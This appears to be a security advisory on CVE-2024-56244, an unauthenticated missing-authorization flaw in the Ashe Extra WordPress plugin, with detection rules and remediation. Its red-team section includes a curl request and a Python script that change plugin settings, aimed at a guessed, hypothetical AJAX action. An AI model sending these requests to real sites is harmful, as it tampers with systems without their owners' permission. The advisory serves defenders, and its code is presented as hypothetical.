CVE-2024-56244

Executive Summary

CVE-2024-56244 is a Missing Authorization vulnerability in the WordPress plugin "Ashe Extra" by WP Royal. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability affects all versions up to and including 1.2.92. With a CVSS score of 5.4 (Medium), it poses a moderate risk, but the lack of a known patch and the plugin's integration with WordPress sites increases the urgency for mitigation.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Ashe Extra from the WordPress dashboard or via direct download are affected. The absence of a patch from the vendor means that supply chain risk is elevated, as no official fix is available. Organizations should monitor the plugin's update channel and consider temporary removal or access controls until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Moderate. The low complexity and no privileges required make it attractive for automated exploitation, but the limited impact reduces the overall severity.

Deep Dive & Mechanics

The vulnerability stems from a Missing Authorization check in the Ashe Extra plugin. WordPress plugins often implement AJAX actions or REST endpoints that should require proper capability checks (e.g., current_user_can()). In this case, the plugin fails to validate user permissions before executing sensitive operations, allowing unauthenticated attackers to trigger actions intended for administrators.

Root Cause: The plugin registers AJAX hooks without verifying the user's role or capability. For example, a function like ashe_extra_save_settings() might be hooked to wp_ajax_nopriv_* (allowing unauthenticated access) instead of wp_ajax_* (requiring authentication). This misconfiguration enables attackers to modify plugin settings or access stored data.

Attack Vector: An attacker sends crafted HTTP requests to the WordPress site's AJAX endpoint (/wp-admin/admin-ajax.php) with the appropriate action parameter. Since no authentication is required, the request is processed, leading to unauthorized actions.

Impact: Depending on the exposed functionality, an attacker could:

• Modify plugin settings (e.g., change display options, inject malicious content).
• Access sensitive data stored by the plugin (e.g., user metadata, configuration details).
• Potentially escalate privileges if the plugin interacts with other components.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. The vulnerable code likely lacks a capability check:

Vulnerable Code (PHP):

add_action('wp_ajax_nopriv_ashe_extra_save_settings', 'ashe_extra_save_settings');
function ashe_extra_save_settings() {
    // Process and save settings without checking user capabilities
    update_option('ashe_extra_settings', $_POST['settings']);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_ashe_extra_save_settings', 'ashe_extra_save_settings');
function ashe_extra_save_settings() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Process and save settings
    update_option('ashe_extra_settings', $_POST['settings']);
    wp_die();
}

The fix involves:

1. Changing the hook from wp_ajax_nopriv_* to wp_ajax_* to require authentication.
2. Adding a capability check (current_user_can('manage_options')) to ensure only administrators can perform the action.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Ashe Extra plugin version <= 1.2.92.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable AJAX action by analyzing the plugin's source code or using fuzzing.
2. Send a crafted POST request to the AJAX endpoint:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=ashe_extra_save_settings&settings[option_name]=malicious_value"

3. Verify the change by accessing the plugin's settings page or checking the database.

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "ashe_extra_save_settings",
    "settings": {"some_option": "attacker_value"}
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor AJAX requests to admin-ajax.php with unexpected action parameters.
• Look for requests without a valid X-WP-Nonce header or authentication cookies.
• Analyze server logs for repeated POST requests to /wp-admin/admin-ajax.php from unknown IPs.

Defense:

• Temporarily disable the Ashe Extra plugin until a patch is available.
• Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php with actions related to Ashe Extra (e.g., ashe_extra_*).
• Restrict access to /wp-admin/ directory via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=ashe_extra_* parameters.
  • Unusual values in settings POST parameter.
• File IOCs:
  • Modified plugin options in the wp_options table (e.g., ashe_extra_settings).
  • Presence of unexpected files in the plugin directory (/wp-content/plugins/ashe-extra/).
• Log IOCs:
  • Repeated 200 responses to admin-ajax.php from unauthenticated users.
  • Error logs showing capability failures (if patched).

Detection Engineering

YARA Rule

rule CVE_2024_56244_Ashe_Extra_Missing_Auth {
    meta:
        description = "Detects exploitation attempts for CVE-2024-56244 in Ashe Extra plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-56244"
    strings:
        $ajax_action = "ashe_extra_" nocase
        $admin_ajax = "admin-ajax.php" nocase
        $settings_param = "settings[" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-56244 - Ashe Extra Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with Ashe Extra actions
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains: action=ashe_extra_
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-56244 - Ashe Extra Missing Authorization Exploitation";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-ajax.php";
    http_uri;
    content:"action=ashe_extra_";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the Ashe Extra plugin from all WordPress installations until a patch is released.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing action=ashe_extra_ in the URI.
3. Access Control: Restrict access to /wp-admin/ directory using IP whitelisting or VPN.

Long-term Fix:

• Monitor the WP Royal plugin repository for an official patch.
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins to ensure proper authorization checks.

Workaround:

• If the plugin is critical, consider implementing a custom capability check via a WordPress mu-plugin:

add_action('init', function() {
    if (isset($_POST['action']) && strpos($_POST['action'], 'ashe_extra_') === 0) {
        if (!current_user_can('manage_options')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers